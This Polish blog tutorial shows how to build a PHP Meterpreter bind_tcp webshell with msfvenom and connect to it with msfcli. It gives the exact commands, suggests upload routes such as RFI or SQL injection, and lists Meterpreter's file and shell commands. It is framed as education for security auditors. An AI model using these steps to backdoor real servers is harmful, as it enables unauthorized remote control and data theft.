PHP shell z wykorzystaniem Metasploit Framework

Kolejny raz powracamy w dzisiejszym wpisie do opisywanego już przez nas PHP shell. Dla niepamiętków przypomnimy tylko że jest to taka tylna furtka wrzucona na stronę internetową www, która umożliwia zdalną kontrolę na serwerze. Taki backdoor może posłużyć zarówno do zarządzania serwerem (chociaż dużo lepszym rozwiązaniem jest ssh) jak i crackerom do webhackingu. Ostatnio opisywaliśmy narzędzie MSFvenom do generowania ładunków payload. Teraz ponownie wykorzystamy to śietne narzędzie darmowego pakietu dla hakerów Metasploit Framework. Standardowo użyjemy do prezentacji tego webowego backdoora systemu Kali Linux zainstalowanego w darmowym wirtualnym środowisku VirtualBox. Wpis ma oczywiście wymiar edukacyjny i jest przeznaczony tylko dla przyszłych audytorów bezpieczeństwa informatycznego. Należy pamiętać o aspektach prawnych wykorzystanej wiedzy.

Generujemy PHP shell

Dzisiaj zamiast użycia reverse_tcp tak jak w poprzednim wpisie, zademonstrujemy bezpośrednie połączenie z serwerem potencjalnego celu, czyli ładunek bind_tcp. Dlaczego? Serwer WWW jest najczęściej dostępny publicznie w sieci więc ma zewnętrzne IP. Nie musimy cudować z konfiguracją parametru LHOST w pakiecie Metasploit Framework i martwić się tym, czy mamy zewnętrzne publiczne czy też wewnętrzne IP.

W pierwszym kroku uruchamiamy terminal systemu Kali Linux. Wydajemy w nim następujące polecenie:

msfvenom -p php/meterpreter/bind_tcp LPORT=16666 -f raw > backdoor.php

Otwórz dowolnym edytorem tekstowym utworzony payload backdoor.php i usuń komentarz z pierwszej linijki kodu <? php. Następnie zapisz zmiany ładunku.

msfvenom php payload
Usunięty komentarz znacznika skryptu PHP, wygenerowanego za pomocą MSFvenom.

Wgraj dowolnym sposobem na serwer swojego webshella. Możesz wykorzystać opisywany już na blogu atak za pomocą uploaderów, dostęp do ftp, RFI lub inną podatność taką jak na przykład SQL Injection INTO.

Połączenie z WebShell z pomocą msfcli

Teraz uruchom adres strony internetowej prowadzącej do skryptu. Przykładowo może być to http://localhost/backdoor.php. Na pierwszy rzut oka może nic się nie wykonywać. Strona cały czas próbuje się załadować co oznacza, że wystarczy się z nią połączyć następującym poleceniem:

msfcli multi/handler payload=php/meterpreter/bind_tcp lport=16666 E

Gotowe. Właśnie uzyskaliśmy dostęp do zdalnego serwera www. Jeżeli chcesz uzyskać informacje o dostępnych poleceniach to wpisz komendę help. Również w internecie znajdziesz dużo przykładów z wykorzystania pakietu Metasploit Framework.


Ilość dostępnych poleceń Metasploit Framework może być uzależniona od użytego ładunku. Poniżej cytujemy dostępne polecenia meterpretera języka PHP:

meterpreter > help

Core Commands
=============

Command Description
——- ———–
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load’
write Writes data to a channel
Stdapi: File system Commands
============================

Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================

Command Description
——- ———–
portfwd Forward a local port to a remote service
Stdapi: System Commands
=======================

Command Description
——- ———–
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS

meterpreter >

Podsumowanie o trojanach w PHP

To już na dzisiaj wszystko o php shell. Jeden z naszych czytelników zgłosił, że msfcli nie działa w najnowszym Kali Linux 2.0. Od razu odpowiadamy, że w naszych przykładach korzystaliśmy ze starszej wersji systemu Kali 1.1.0. Jeżeli nie rozumiesz czegoś z dzisiejszego wpisu to zapraszamy obowiązkowo do przeczytania innego naszego artykułu o tylnych furtkach w php. Bądź na bieżąco i obowiązkowo obserwuj nas na Twitterze i Facebooku HakerEduPL tutaj. Pozdrawiamy przyszłych hakerów! 😉

2 thoughts to “PHP shell z wykorzystaniem Metasploit Framework”

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *